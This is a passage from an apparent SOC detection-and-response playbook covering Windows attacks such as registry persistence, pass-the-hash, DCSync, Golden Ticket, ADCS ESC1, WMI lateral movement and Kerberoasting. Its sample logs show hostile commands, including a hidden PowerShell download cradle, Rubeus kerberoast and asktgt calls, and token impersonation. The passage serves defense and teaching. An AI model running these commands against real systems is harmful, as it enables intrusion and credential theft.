• Was the PowerShell encoded or obfuscated?
• Did it attempt to reach an external URL or download content?
• Was this activity linked to a user email or download directory?
• Was the macro-enabled file from a known or external sender?

Analyst Steps

1. Identify the Source Document

o Correlate with file created in Downloads or Temp folders
o Check naming patterns (e.g., Invoice, CV, Remittance)
2. Inspect the Payload
o Sandbox the downloaded .ps1 or dropped .exe
o Check whether it leads to further C2 or persistence
3. Review Network Logs
o Any outbound connections to known malicious domains/IPs
o DNS requests tied to the execution window
4. Correlate with Email Gateway Logs
o Was this file received via email? From whom?
o Was it quarantined or delivered?

Containment and Response

Step Action
1 Quarantine the host (via EDR if possible)
2 Delete the document and downloaded payloads
3 Block the malicious domain/IP in proxy, firewall or DNS filtering
4 Search across network for same file hash or domain access
5 If EDR logs are available, identify execution traces and child processes

Eradication and Recovery

 • Run full malware scan to ensure no second-stage payloads installed
• If persistence is found (e.g., scheduled task or registry run key), remove them
• Rebuild the host if rootkit, Cobalt Strike or ransomware artifacts are found
• Educate user and review email filters if delivery was successful

Recommendations and Hardening

• Disable macros from untrusted sources in Microsoft Office via Group Policy
• Enable:
o PowerShell Script Block Logging (4104)
o AMSI (Antimalware Scan Interface) for Office
• Filter or quarantine attachments with .docm, .xlsm, .zip and macros
• Enforce Mark of the Web (MOTW) detection policies
• Use EDR rules to alert on Office processes spawning scripting engines
USE CASE 12: PERSISTENCE VIA REGISTRY RUN KEY (USER OR SYSTEM LEVEL)

Malicious Persistence via Registry Run Key Detected

Objective: Detect and respond to persistence mechanisms where malware is configured

to execute on reboot or logon by inserting itself into Windows Registry Run keys.

MITRE ATT&CK Mapping

• T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys

• T1059 – Command and Scripting Interpreter
• T1060 – Registry Run Keys / Startup Folder

Detection Logic (SIEM Use Case)

Sysmon Event ID 13 – Registry Value Set

Sysmon
| where EventID == 13
| where TargetObject has_any (
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
)
| where Image endswith ".exe" or Image endswith ".ps1" or Image endswith ".vbs"
| project TimeGenerated, Computer, User, Image, TargetObject, Details

You can enhance this with lookups for known suspicious paths like:

• C:\Users\Public\
• C:\Temp\
• AppData\Roaming\

Data

Timest Comp User TargetObject Details

amp uter
2025- WIN- user@cor HKCU\Software\Microsoft\Windows\C powershell.exe
07-28 STAFF p.local urrentVersion\Run\update -
21:55: 01 ExecutionPolic
28 y Bypass -File
"C:\Users\Publi
c\init.ps1"

Initial Triage Questions

 • Was the key written to HKCU (user level) or HKLM (system level)?
• What process made the change? (parent/child chain)
• Is the command a script or binary? Was it obfuscated or encoded?
• Does the executable path point to a suspicious or user-writable location?
• Are similar keys written on other hosts?

Analyst Steps

1. Examine the Registry Key

o Use:

Get-ItemProperty -Path
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

o Review all entries, especially unfamiliar ones

2. Check the File
o Inspect the binary or script at the path (C:\Users\Public\init.ps1)
o Check for known hash on VirusTotal
o Check creation timestamp (was it recent?)
3. Trace Process
o Correlate with Sysmon Event ID 1 to find the parent process that set the
registry value

Containment and Response

Step Action
1 Delete the registry key (backup first if needed)
2 Delete or quarantine the payload file (e.g., init.ps1)
3 Isolate the host if persistence was used to maintain C2 or malware
4 Investigate related processes and scheduled tasks (if created)
5 Hunt for similar registry entries across other machines

Eradication and Recovery

• Remove the registry key and payload

• Block the execution path (e.g., C:\Users\Public\*.ps1) using AppLocker or EDR
• If repeated, consider host rebuild
• Monitor registry change logs to detect re-creation attempts
• Reset any account used in malicious activity

Recommendations and Hardening

• Monitor registry keys for unauthorized additions (Sysmon Event ID 13)

• Prevent users from writing .ps1 or .exe to startup locations or public folders
• Implement AppLocker/WDAC rules to block scripts from non-whitelisted locations
• Regularly audit registry paths:
o HKCU\...\Run
o HKLM\...\Run
o HKLM\SYSTEM\CurrentControlSet\Services
USE CASE 13: RUNKEY PERSISTENCE VIA REGISTRY HIJACKING – SURVIVES REBOOT

Suspicious Registry Run Key Persistence Detected on Windows Host

Objective: Detect and respond to persistence mechanisms using Windows Registry “Run”
keys, where attackers insert malicious executables to auto-run at user logon. This method
enables malware to persist across reboots without creating obvious services or tasks.

MITRE ATT&CK Mapping

• T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys

• T1053.005 – Scheduled Task/Job: Scheduled Task
• T1036 – Masquerading

Detection Logic (SIEM Use Case)

Sysmon Event ID 13 – Registry Value Set

Sysmon
| where EventID == 13
| where TargetObject has_any (
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
)
| project TimeGenerated, Computer, User, TargetObject, Details
Sysmon Event ID 1 – Process Execution

Sysmon
| where EventID == 1
| where ParentImage contains "explorer.exe"
| where Image has_any ("C:\\Users\\", "C:\\ProgramData\\", "C:\\Temp\\") // User paths
| project TimeGenerated, Image, CommandLine, User, ParentImage
Correlate: Did a new Run key get added pointing to a suspicious binary in a user-writable
path?

Data

Times Host TargetObject Details User

tamp
2025- WIN- HKCU\Software\Microsoft\Window "C:\Users\Public\on user@c
07-29 MARKE s\CurrentVersion\Run\OneDrive edriveupdater.exe" orp.loca
03:05 TING02 l
:11
A fake onedriveupdater.exe added to the Run key under the guise of a legitimate app.
Initial Triage Questions

• Was the registry modification performed by a non-admin user?

• Does the binary in the Run key path exist and is it signed?
• Is the path within a user-writable location (e.g., C:\Users\Public)?
• When was the executable created vs. the registry change timestamp?
• Is the binary masquerading as a legitimate service (e.g., OneDrive)?

Analyst Steps

1. Analyse the Binary in Run Key

o Calculate hash, verify digital signature, creation/modification time

o Submit to sandbox or threat intel platform (VirusTotal, ANY.RUN)

2. Check Modification Process

o Identify which process or user set the Run key (Sysmon Event ID 13)
o Was it scripted (e.g., via PowerShell, cmd.exe)?

3. Correlate with Other Activities

o Was this binary executed recently? (Event ID 1 or 4688)

o Was it dropped by phishing, USB, or downloaded from web?

4. Hunt for Spread or Lateral Movement

o Are similar Run keys present in other endpoints?

o Check for use of same filename or hash elsewhere in the fleet

Containment and Response

Step Action
1 Stop the process launched via Run key if still active
2 Remove the malicious registry value using reg delete
3 Delete or quarantine the binary it references
4 Check for persistence in other locations (e.g., Task Scheduler, Services)
5 Isolate the host if secondary payloads or access observed

Eradication and Recovery

• Clean the registry from unauthorised “Run” entries

• Delete all instances of the rogue binary
• Reinstall affected legitimate applications if mimicked
 • Reset user credentials if compromise is suspected
• Apply GPO to restrict Run key usage:
• Prevent Run and RunOnce modification for non-admins
• Enable auditing of registry key modifications

Recommendations and Hardening

• Use AppLocker or WDAC to prevent execution from user paths

• Enable Sysmon Event ID 13 logging for registry tracking
• Monitor for parent-child process chains where explorer.exe spawns unknown
binaries
• Disable or restrict “Run” and “RunOnce” keys via GPO for non-essential users
• Educate users on avoiding unknown downloads or fake updates
USE CASE 14: USB DROP ATTACK – MALWARE DELIVERED VIA REMOVABLE MEDIA

Malicious Code Execution via USB Device Insertion (Removable Media Attack)

Objective: Detect and respond to malware delivered through USB drives, a common tactic
used in physical social engineering and initial access, especially in environments with
weak device control policies.

MITRE ATT&CK Mapping

• T1200 – Hardware Additions (Removable Media)

• T1091 – Replication Through Removable Media
• T1059 – Command and Scripting Interpreter
• T1053 – Scheduled Task (if persistence used)

Detection Logic (SIEM Use Case)

Key Windows Events

• Event ID 20001 (Device Connect)

• Event ID 4663 (File Access via Removable Drive)
• Sysmon Event ID 1 (Process Creation from USB Path)

Sysmon
| where EventID == 1
| where Image startswith "E:\" or Image startswith "F:\" or Image contains ":\\RECYCLER"
| project TimeGenerated, Computer, User, Image, CommandLine, ParentImage

Also monitor:

Sysmon
| where EventID == 1
| where CommandLine has_any ("autorun.inf", "usb", "E:\\*", "F:\\*")

Data

Timestam Computer Image CommandLine User

p
2025-07- WIN- E:\tools\payload.e E:\tools\payload.e [email protected]
28 RECEPTION0 xe xe -silent al
22:10:16 1
2025-07- WIN- schtasks.exe schtasks /create [email protected]
28 RECEPTION0 /tn "update" /tr al
22:10:20 1
 "E:\tools\back.ps1
" /sc minute /mo 5

The executable payload.exe was launched from USB drive letter E: and attempted to
persist using a scheduled task pointing to the USB path.

Initial Triage Questions

• Was the process executed from a removable drive path (e.g., E:\, F:\)?
• Is the USB drive new or previously inserted before?
• What file was executed (script, binary)? Was it signed?
• Did it drop or create additional tasks, registry keys or backdoors?
• What user was logged in when the USB was used? (Guest/Visitor/Staff?)

Analyst Steps

1. Trace Device Insertion

o Use Windows logs or device control logs to identify when and by whom the
USB was inserted
2. Check Executed File Origin
o File path, name, signature status and whether it's known in VirusTotal
3. Inspect Persistence Attempts
o Check for new scheduled tasks:

schtasks /query /fo LIST /v | findstr "E:\"

4. Trace Child Processes

o If payload.exe spawns powershell.exe, cmd.exe or makes outbound
connections

Containment and Response

Step Action
1 Eject and secure the USB device
2 Isolate the host where execution occurred
3 Kill any running malicious processes (via EDR or Task Manager)
4 Remove scheduled tasks and files linked to USB execution
5 Scan host and USB for malware remnants

Eradication and Recovery

• Delete all autorun files and payloads dropped on the host

• Clean up scheduled tasks and registry entries referencing USB paths
• Block similar USB signatures using DLP or Device Control
 • Reimage the host if core processes or services are altered
• Harden endpoints by disabling auto-execute on USB devices

Recommendations and Hardening

• Disable autorun for USB drives via Group Policy:

Computer Configuration > Admin Templates > Windows Components > AutoPlay
Policies

• Implement Device Control (via EDR or DLP) to:

o Block unknown USBs
o Allow only corporate-signed devices
• Restrict local user execution rights from USB devices
• Alert on any process execution from USB paths
• Conduct employee awareness training on USB threats
USE CASE 15: PASS-THE-HASH (PTH) LATERAL MOVEMENT DETECTION

Suspicious Lateral Movement via Pass-the-Hash (PtH) Technique

Objective: Detect and respond to Pass-the-Hash attacks, where an attacker uses NTLM
hashes to authenticate to remote systems without knowing plaintext credentials, typically
for lateral movement or privilege escalation.

MITRE ATT&CK Mapping

• T1550.002 – Use Alternate Authentication Material: Pass-the-Hash

• T1021.001 – Remote Services: SMB/Windows Admin Shares
• T1075 – Remote Services: Remote Desktop Protocol (RDP)

Detection Logic (SIEM Use Case)

Key Indicators in Windows Logs and Sysmon:

Windows Security Events (Event ID 4624)

Look for:

• LogonType 3 (Network)
• AuthenticationPackage = NTLM
• AccountDomain mismatch (use of local admin on domain system)

SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where AccountType == "User"
| summarize Count = count() by TargetUserName, IpAddress, Computer, TimeGenerated
| where Count > 5

Sysmon Event ID 3 (Network Connections)

Correlate with remote execution tools like wmic.exe, psexec.exe or smbexec.bat

Sysmon
| where EventID == 3
| where Image has_any ("psexec.exe", "wmic.exe", "cmd.exe", "rundll32.exe")
| where DestinationPort == 445
| project TimeGenerated, Computer, User, Image, DestinationIp

Data
 Timesta SourceH TargetH TargetUserN LogonTy AuthPack SourceIP
mp ost ost ame pe age
2025-07- WIN- WIN- administrator 3 NTLM 192.168.1.
28 ENG01 FILESRV 101
23:05:12 01

Sysmon log:

Timestamp Image DestinationIP DestinationPort Description

2025-07-28 Remote Service
psexec.exe 192.168.1.111 445
23:05:14 Execution

Initial Triage Questions

• Is the user account a local admin being used across machines?

• Is there a sudden spike in NTLM authentications from one source IP?
• Is this activity outside normal working hours?
• Is psexec, wmic or smbexec present or recently executed?
• Is the source host previously associated with infection or phishing?

Analyst Steps

1. Map the Lateral Movement Path

o Review all Event ID 4624 with LogonType 3 from the attacker’s source IP
o Identify how many hosts were accessed
2. Check for Tools Used
o Is psexec.exe or wmic.exe present in %TEMP%, C:\Users\Public, etc.?
3. Trace the Hash Abuse
o Was the original hash dumped via LSASS access? (T1003.001)
o Was there a previous credential dumping alert?
4. Correlate with Outbound Connections
o Did the lateral movement lead to C2 or payload staging?

Containment and Response

Step Action
1 Isolate source host where PtH originated
2 Kill remote processes launched via psexec, wmic, etc.
3 Block affected accounts and reset passwords (force NTLM invalidation)
4 Remove unauthorized tools (e.g., SysInternals, Cobalt Strike)
5 Hunt for reuse of same hash elsewhere in network
Eradication and Recovery

• Rotate all administrator credentials, especially for reused local admin accounts
• Disable or limit local admin logins across systems
• Rebuild compromised hosts where process injection or persistence is found
• Audit access control lists and service accounts

Recommendations and Hardening

• Disable NTLM authentication where feasible (Network Security: Restrict NTLM)

• Use Local Admin Password Solution (LAPS) to manage local accounts
• Monitor for Event ID 4624 + AuthPackage = NTLM + LogonType = 3
• Restrict lateral tools like psexec, wmic, smbexec, at.exe, etc.
• Isolate high-value assets from peer-to-peer access
USE CASE 16: DCSYNC ATTACK SIMULATION – DOMAIN CONTROLLER DATA THEFT

Detection and Response to a Simulated DCSync Attack (Directory Replication Abuse)

Objective: Detect and respond to DCSync attacks, where an attacker impersonates a

Domain Controller to request password hashes (including NTLM, Kerberos TGTs and
Kerberos keys) from Active Directory, using tools like Mimikatz or Impacket.

MITRE ATT&CK Mapping

• T1003.006 – OS Credential Dumping: DCSync

• T1556.001 – Steal or Forge Kerberos Tickets: Golden Ticket (if continued)
• T1087 – Account Discovery: Domain Account

Detection Logic (SIEM Use Case)

Security Event Log: 4662 (Object Access)

Watch for Directory Replication rights usage on domain controller:

SecurityEvent
| where EventID == 4662
| where ObjectType =~ "DS-Replication-Get-Changes"
or ObjectType =~ "DS-Replication-Get-Changes-All"
| where SubjectUserName != "NT AUTHORITY\\SYSTEM"
| project TimeGenerated, SubjectUserName, ObjectType, AccessMask, Computer

You may also use:

SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AccountName has "backupadmin$" // uncommon service accounts

Correlate with known tools like Mimikatz or Impacket in Sysmon logs:

Sysmon
| where EventID == 1
| where Image has_any ("mimikatz.exe", "secretsdump.py", "dcsync.ps1")

Data

Timestamp DC SubjectUserName ObjectType AccessMask SourceHost

Host
 2025-07-28 WIN- svc- DS- 0x100 WIN-ENG01
23:20:58 DC01 [email protected] Replication-
Get-
Changes-All

Initial Triage Questions

• Who initiated the replication request? Is it a legitimate DC or service account?

• Does this user have replication privileges? (Check replicating directory changes)
• Was the tool used known (e.g., Mimikatz, secretsdump)?
• Is the source host a DC or regular endpoint?
• Were there any signs of prior credential dumping or privilege escalation?

Analyst Steps

1. Identify the Source

o Validate whether the initiating host is a Domain Controller
o If not, investigate how it obtained replication rights
2. Review Account Privileges
o Use PowerShell:

Get-ADUser svc-replica -Properties memberOf

3. Trace Command Execution

o Use Sysmon to see if powershell.exe, mimikatz.exe or python.exe launched
the call
4. Check Lateral Movement or Prior Escalation
o Was svc-replica compromised earlier via PtH, phishing or malware?

Containment and Response

Step Action
1 Disable or reset credentials for the account used (svc-replica)
2 Isolate the source machine
3 Search for dumped credential artifacts or password extraction scripts
4 Review if KRBTGT ticket hash was accessed (indicator of Golden Ticket)
5 Audit Active Directory group memberships and GPOs

Eradication and Recovery

• Remove the compromised user/computer account from high-privileged groups

• Rebuild compromised machine if tools like Mimikatz were used
• Reset KRBTGT password twice to invalidate forged Kerberos tickets:
 Set-ADAccountPassword -Identity krbtgt -Reset

• Strengthen GPOs to restrict replication rights

• Enable Enhanced Security Audit Policies in AD

Recommendations and Hardening

• Audit replication permissions:

Get-ADObject -SearchBase "CN=Configuration,DC=corp,DC=local" -Filter * -

Properties ntSecurityDescriptor

• Enable Security Event 4662 and monitor for replication flags

• Regularly rotate KRBTGT key
• Limit number of accounts that can perform replication
• Monitor for unusual PowerShell, python or rpcclient activity on non-DCs
USE CASE 17: GOLDEN TICKET ATTACK DETECTION (KERBEROS FORGERY USING
KRBTGT HASH)

Golden Ticket Attack – Forged Kerberos Ticket Usage

Objective: Detect and respond to a Golden Ticket attack, where an attacker crafts a forged
Kerberos Ticket Granting Ticket (TGT) using the KRBTGT account hash, enabling them to
impersonate any user in Active Directory (often Domain Admin) without detection.

MITRE ATT&CK Mapping

• T1558.001 – Steal or Forge Kerberos Tickets: Golden Ticket

• T1003.006 – OS Credential Dumping: DCSync (Prerequisite)
• T1078 – Valid Accounts

Detection Logic (SIEM Use Case)

Windows Security Event ID 4769 (TGS Request)

Look for anomalous Kerberos ticket usage:

• User not recently logged in

• Ticket lifetime unusually long (over 10 hours)
• TicketEncryptionType = 0x17 (RC4) — deprecated
• Use of forged or nonexistent SIDHistory

SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == 0x17
| where ServiceName == "krbtgt"
| where TargetUserName endswith "$" == false

Other indicators:

• Event ID 4624 with LogonType = 9 (Kerberos TGT used for remote interactive
session)
• TargetUserName with never-before-seen SID or no corresponding account in AD

Data

Timesta Compu Event TargetUserN TicketEncryption IPAddres LogonTy

mp ter ID ame Type s pe
 2025-07- WIN- 4769 administrator 0x17 192.168.1 9
28 DC01 .77
23:45:22
2025-07- WIN- 4624 administrator - 192.168.1 9
28 DC01 .77
23:45:30

These logs indicate the forged use of a TGT with RC4 encryption from a non-domain
controller IP and a suspicious login type.

Initial Triage Questions

• Did the user actually log in before this Kerberos ticket was used?
• Is the ticket lifetime or encryption suspicious?
• Is the account a legitimate AD user or forged?
• Was there a recent DCSync or LSASS dump that could have led to this?
• Was this activity initiated from a host not typically used by this account?

Analyst Steps

1. Validate the User

o Does TargetUserName exist in AD?
o Was the account logged in recently?
2. Inspect the Ticket Lifetime
o Kerberos TGTs typically expire in 10 hours
o Golden Tickets often have long lifespans (days/months)
3. Trace DCSync
o Check for prior Event ID 4662 with DS-Replication-Get-Changes-All from this
source
4. Correlate Host Activity
o Did the IP 192.168.1.77 show suspicious PowerShell, Mimikatz or LSASS
access?

Containment and Response

Step Action
1 Isolate the source machine using the forged TGT
2 Revoke the forged ticket (Kerberos ticket purge)
3 Reset credentials of impersonated accounts (especially admin)
4 Rotate KRBTGT account password twice to invalidate all Golden Tickets
5 Hunt for lateral movement or post-compromise activity

Eradication and Recovery

 • Reset KRBTGT password:

Set-ADAccountPassword -Identity krbtgt -Reset

Repeat after replication to ensure full invalidation

• Audit all privileged account logons and SIDHistory

• Rebuild source host if Mimikatz or similar tooling detected
• Enforce EDR memory protections against LSASS access

Recommendations and Hardening

• Monitor Event IDs:

o 4769 (TGS Requests with 0x17)
o 4624 (Type 9 logons)
o 4672 (Special privileges assigned)
• Rotate KRBTGT account password regularly
• Disable RC4 encryption via Group Policy
• Enable LSASS protection (RunAsPPL)
• Limit domain replication rights to Domain Controllers only
USE CASE 18: TOKEN MANIPULATION ATTACK – IMPERSONATION VIA STOLEN ACCESS
TOKEN

Suspicious Windows Access Token Manipulation Detected

Objective: Detect and respond to Windows token manipulation, where an attacker hijacks
or impersonates another user’s access token (often a high-privilege token like SYSTEM or
Domain Admin) to execute commands under elevated context without credentials.

MITRE ATT&CK Mapping

• T1134 – Access Token Manipulation

o T1134.001 – Token Impersonation/Theft
o T1134.002 – Create Process with Token
o T1134.003 – Make and Impersonate Token

Detection Logic (SIEM Use Case)

Event ID 4648 (Logon with Explicit Credentials)

Triggered when CreateProcessWithLogonW() is used.

SecurityEvent
| where EventID == 4648
| where AccountName != TargetUserName
| where LogonProcessName == "Advapi" // often token impersonation

Sysmon Event ID 1 – Process Creation

Detect suspicious use of runas.exe, PsExec.exe or PowerShell with impersonation APIs.

Sysmon
| where EventID == 1
| where CommandLine has_any ("runas", "CreateProcessWithTokenW", "Invoke-
TokenManipulation", "ImpersonateUser")

Event ID 4624 (Logon) with LogonType = 9 (Token-Based)

SecurityEvent
| where EventID == 4624
| where LogonType == 9
| project TimeGenerated, TargetUserName, IpAddress, LogonProcessName

Data
 Timesta Host EventI TargetUserN LogonTy SourceIP LogonProcessN
mp D ame pe ame
2025-07- WIN- 4624 administrator 9 192.168.1 Advapi
29 SERVER .55
00:05:14 01

Sysmon:

Timestamp Host Image CommandLine User

powershell.exe -Command
2025-07-29 WIN-
powershell.exe Invoke-TokenManipulation [email protected]
00:05:17 SERVER01
-Impersonate SYSTEM

Initial Triage Questions

• Was the token impersonation initiated from a non-privileged account?

• Did the impersonated token belong to SYSTEM, administrator or a domain admin?
• Was CreateProcessWithTokenW, ImpersonateLoggedOnUser or DuplicateToken
used?
• Was the impersonation followed by privileged actions like adding users or
accessing DCs?
• Did this activity happen during unusual hours or on a non-admin host?

Analyst Steps

1. Trace the Impersonation Chain

o What user context launched the impersonation tool?
o What child processes were created under elevated token?
2. Review CommandLine Arguments
o PowerShell modules like Invoke-TokenManipulation.ps1 are known from
PowerSploit
o Check for silent privilege escalation attempts
3. Check Token Use Cases
o Was this used to:
§ Access the registry?
§ Start services?
§ Add users to the Administrators group?
4. Map Network Connections
o Did the impersonated session access remote systems after token abuse?

Containment and Response

Step Action
1 Isolate the source host used to impersonate the token
2 Terminate the impersonated sessions and related processes
3 Reset credentials of impersonated accounts if compromise suspected
4 Remove added users or privileges granted by impersonated token
5 Hunt across the environment for similar use of token APIs

Eradication and Recovery

• Delete persistence mechanisms (e.g., registry run keys, scheduled tasks)

• Audit group memberships, startup folders and service modifications
• Restrict token impersonation APIs via EDR or memory protection (e.g., AMSI, ETW)
• Rebuild or scan affected hosts to ensure no lingering backdoors remain

Recommendations and Hardening

• Disable SeImpersonatePrivilege for non-admin users

• Use EDR or application control to detect use of CreateProcessWithTokenW
• Monitor:
o Event ID 4624 (LogonType 9)
o Event ID 4648 (explicit credentials)
• Audit all PowerShell execution logs (4104, 4688)
• Apply AppLocker or WDAC to block unsigned tools like PowerSploit and mimikatz
USE CASE 19: ACTIVE DIRECTORY CERTIFICATE SERVICES (ADCS) ABUSE – ESC1
SCENARIO

ADCS ESC1 Abuse – Enrolling User Template with Dangerous Permissions

Objective: Detect and respond to ADCS abuse via ESC1: where an attacker enrolls a
certificate template with weak settings (e.g., Client Authentication EKU + Enroll +
SubjectAltName control), allowing impersonation of users and Domain Admins via PKINIT
and Kerberos authentication.

MITRE ATT&CK Mapping

• T1550.004 – Use Alternate Authentication Material: PKINIT and Cert-Based Auth

• T1649 – Steal or Forge Authentication Certificates
• T1078 – Valid Accounts

Detection Logic (SIEM Use Case)

Event ID 4886 / 4887 (Certificate Request)

Monitor ADCS logs for enrollment activity with user templates and abnormal
SubjectAltName fields.

Event
| where EventID in (4886, 4887)
| where TemplateName has_any ("User", "DomainUser", "EnrollmentAgent")
| where RequesterName != TargetUserName // impersonation
| project TimeGenerated, RequesterName, TemplateName, TargetUserName,
CertificateAuthority

Optional: Windows Security Event 4769 (TGS Request)

Used after the certificate is used for Kerberos auth (PKINIT):

SecurityEvent
| where EventID == 4769
| where ServiceName == "krbtgt"
| where TicketEncryptionType == 0x12 or 0x17

Look for use of certreq.exe, Rubeus.exe or Certify.exe

Sysmon
| where EventID == 1
| where CommandLine has_any ("certreq", "Rubeus", "requesttgt", "asktgt", "certify", "req")
Data

Timesta CA EventI RequesterName TemplateNa CertificateSubjectAltN

mp Serv D me ame
er
2025-07- WIN- 4887 [email protected] User CN=administrator,
29 CA01 ocal DNS=corp.local
00:22:48

Sysmon:

Timestamp Host Image CommandLine

2025-07-29 WIN- Rubeus.exe Rubeus.exe asktgt /user:administrator
00:23:01 ENG01 /certificate:... /domain:corp.local

Initial Triage Questions

• Did a non-admin user enroll a cert with Client Authentication EKU?

• Was the SubjectAltName spoofed to impersonate another user (e.g.,
administrator)?
• Did the certificate template allow ENROLLEE_SUPPLIES_SUBJECT?
• Is the requesting user supposed to enroll certs on that template?

Analyst Steps

1. Trace the Certificate Request

o Check if the user (e.g., [email protected]) made the request via certreq or
Certify.exe
2. Inspect the Template
o Use Certify.exe find /vulnerable
o Validate template settings (ENROLLEE_SUPPLIES_SUBJECT + ClientAuth
EKU)
3. Monitor Kerberos Authentication
o Was the certificate used to request a TGT via PKINIT?
o Look for Event ID 4769 on DCs soon after enrollment
4. Determine Privilege Escalation
o If the attacker requested a ticket as administrator, escalation succeeded

Containment and Response

Step Action
1 Revoke the issued certificate (via CA management console)
2 Disable or delete vulnerable certificate template
3 Reset the user password (invalidate cached Kerberos tickets)
4 Search for .pfx, .cer, .pem files on host (certificate dumps)
5 Investigate lateral movement or privilege abuse using that identity

Eradication and Recovery

• Remove or tighten vulnerable certificate templates:

o Remove ClientAuth EKU
o Disable SubjectAltName supply by enrollee
o Restrict template enrollment permissions (remove Domain Users)
• Enforce certificate-based logon policies with proper access controls
• Rotate privileged accounts if impersonation occurred

Recommendations and Hardening

• Audit all templates:

o Templates allowing ENROLLEE_SUPPLIES_SUBJECT
o Templates with Client Authentication EKU
• Remove Domain Users from enroll permissions
• Enable full logging for ADCS servers:
o Event IDs: 4886, 4887, 4890, 4769
• Rotate admin credentials if cert-based impersonation detected
• Monitor for tools like Certify, Rubeus or use of certreq with suspicious parameters
USE CASE 20: WMI-BASED LATERAL MOVEMENT

Suspicious Lateral Movement via Windows Management Instrumentation (WMI)

Objective: Detect and respond to adversarial lateral movement using WMI remote
execution, a stealthy method used to execute payloads or commands on other systems
without writing files or requiring RDP access.

MITRE ATT&CK Mapping

• T1047 – Windows Management Instrumentation

• T1021.001 – Remote Services: SMB/Windows Admin Shares
• T1059.001 – PowerShell

Detection Logic (SIEM Use Case)

Microsoft-Windows-WMI-Activity/Operational Logs

Event ID 5861 – WMI method execution

Event ID 5857, 5858 – WMI consumer creation (if persistence)

Event
| where Source == "Microsoft-Windows-WMI-Activity/Operational"
| where EventID == 5861
| where Operation == "ExecuteMethod"
| project TimeGenerated, Computer, User, ClientMachine, Namespace, Method,
CorrelationActivityId

Sysmon Event ID 1 – Remote Execution via WMI Providers

Sysmon
| where EventID == 1
| where ParentImage endswith "wmiprvse.exe"
| where CommandLine has_any ("powershell", "cmd", "regsvr32", "bitsadmin", "mshta", "-
nop")

Data

Timesta TargetHo ClientMachi User Method CommandLin

mp st ne e
2025-07- WIN- WIN-ENG01 [email protected] ExecuteMet powershell.exe
29 FILESRV0 ocal hod -nop -w hidden
00:44:20 2 -c "IEX (New-
Object
 Net.WebClient
)..."

Initial Triage Questions

• Was wmiprvse.exe the parent of a suspicious script execution?

• Was the source host (ClientMachine) authorized to manage the target?
• Was this execution user-initiated or automated (e.g., scheduled task)?
• Did the payload involve outbound communication (C2, staging)?
• Is this activity linked to previous lateral or privilege escalation steps?

Analyst Steps

1. Correlate Source and Target Hosts

o Confirm if the source (WIN-ENG01) used WMI to spawn PowerShell on WIN-
FILESRV02
2. Review CommandLine
o Was Invoke-WebRequest, DownloadString or EncodedCommand used?
3. Check Parent Process Chain
o Was the activity initiated via wmic.exe, PowerShell or CIM module?
4. Look for Persistence
o Was a permanent WMI consumer created? (Event ID 5857–5859)

Containment and Response

Step Action
1 Isolate both source and target hosts
2 Terminate any suspicious processes triggered via WMI
3 Investigate user [email protected] – suspend or disable account
4 Remove any WMI permanent event subscriptions (persistence)
5 Search for scheduled tasks or scripts launched post-WMI execution

Eradication and Recovery

• Remove WMI consumers using:

Get-WmiObject -Namespace root\subscription -Class __EventConsumer | Remove-

WmiObject

• Reset credentials of any compromised user

• Audit firewall rules to restrict WMI remote access to specific jump hosts
• Rebuild compromised systems if persistence or implants were confirmed
• Enable advanced PowerShell logging (4104, 4688) and WMI logs
Recommendations and Hardening

• Limit WMI access using Windows Firewall and GPO

• Monitor wmiprvse.exe spawning scripting engines (powershell, cmd, etc.)
• Enable and centralize:
o Sysmon Event IDs 1 (Process Creation), 3 (Network), 7 (Image Load)
o PowerShell Logging (4104 – Script Block)
o WMI Activity Logs (5861, 5857–5859)
• Disable or restrict Remote Enable permission in WMI namespaces
• Implement EDR policy to detect wmic.exe or PowerShell from non-admin hosts
USE CASE 21: KERBEROASTING ATTACK – SERVICE ACCOUNT TICKET HASH DUMP

Kerberoasting Attempt – Ticket Extraction for Offline Cracking

Objective: Detect and respond to Kerberoasting attacks, where an attacker requests

Kerberos TGS (Ticket Granting Service) tickets for service accounts and dumps them for
offline password cracking (e.g., using tools like Rubeus, Impacket or Hashcat).

MITRE ATT&CK Mapping

• T1558.003 – Steal or Forge Kerberos Tickets: Kerberoasting

• T1003.006 – OS Credential Dumping: LSASS (for prerequisite access)
• T1078 – Valid Accounts (if used post-crack)

Detection Logic (SIEM Use Case)

Event ID 4769 – Kerberos TGS Request

Look for:

• ServiceName ending in $ (common for machine accounts but not targeted in this
case)
• EncryptionType = 0x17 (RC4-HMAC) – common in roastable SPNs
• High volume of 4769 requests for multiple SPNs in a short time

SecurityEvent
| where EventID == 4769
| where ServiceName endswith "svc" or ServiceName endswith "admin"
| where TicketEncryptionType == 0x17
| summarize Count=count() by TargetUserName, IpAddress, TimeGenerated
| where Count > 5

Sysmon Event ID 1 – Tool Usage (Rubeus, GetUserSPNs, etc.)

Sysmon
| where EventID == 1
| where Image has_any ("Rubeus.exe", "getUserSPNs.py", "powershell.exe")
| where CommandLine has_any ("kerberoast", "asktgs", "dump", "hash")

Data

Timesta Comput EventI ServiceNa TargetUserNa EncryptionT IPAddres

mp er D me me ype s
 2025-07- WIN- 4769 svc- attacker 0x17 192.168.1.
29 DC01 backup 99
01:05:02
2025-07- WIN- 4769 svc- attacker 0x17 192.168.1.
29 DC01 sharepoint 99
01:05:04

Sysmon:

Timestamp Host Image CommandLine

2025-07-29 WIN- Rubeus.exe kerberoast /user:svc-*
Rubeus.exe
01:04:50 ENG01 /format:hashcat

Initial Triage Questions

• Is the source account (attacker) authorized to query these SPNs?

• Did the account request multiple TGS tickets in a short time?
• Is this activity consistent with normal authentication behavior?
• Was a known Kerberoasting tool used (Rubeus, Impacket)?
• Was the hash used later to access any system (check 4624)?

Analyst Steps

1. Identify the SPNs Queried

o Check whether the ServiceName is tied to privileged or sensitive service
accounts
2. Trace the Host
o Was the attack launched from a user workstation or domain-joined system?
o Correlate with logon activity (4624, 4672)
3. Inspect for Tool Use
o Was Rubeus.exe, python.exe or powershell.exe used with suspicious
commands?
4. Check for Cracked Access
